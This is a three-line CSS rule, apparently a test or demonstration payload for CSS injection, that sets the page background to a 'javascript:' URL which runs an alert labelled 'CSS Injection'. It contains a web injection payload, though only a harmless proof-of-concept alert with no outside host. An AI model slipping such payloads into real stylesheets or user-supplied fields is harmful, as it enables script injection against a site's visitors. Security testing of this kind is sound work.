body {
    background-image: url('javascript:alert("CSS Injection")');
}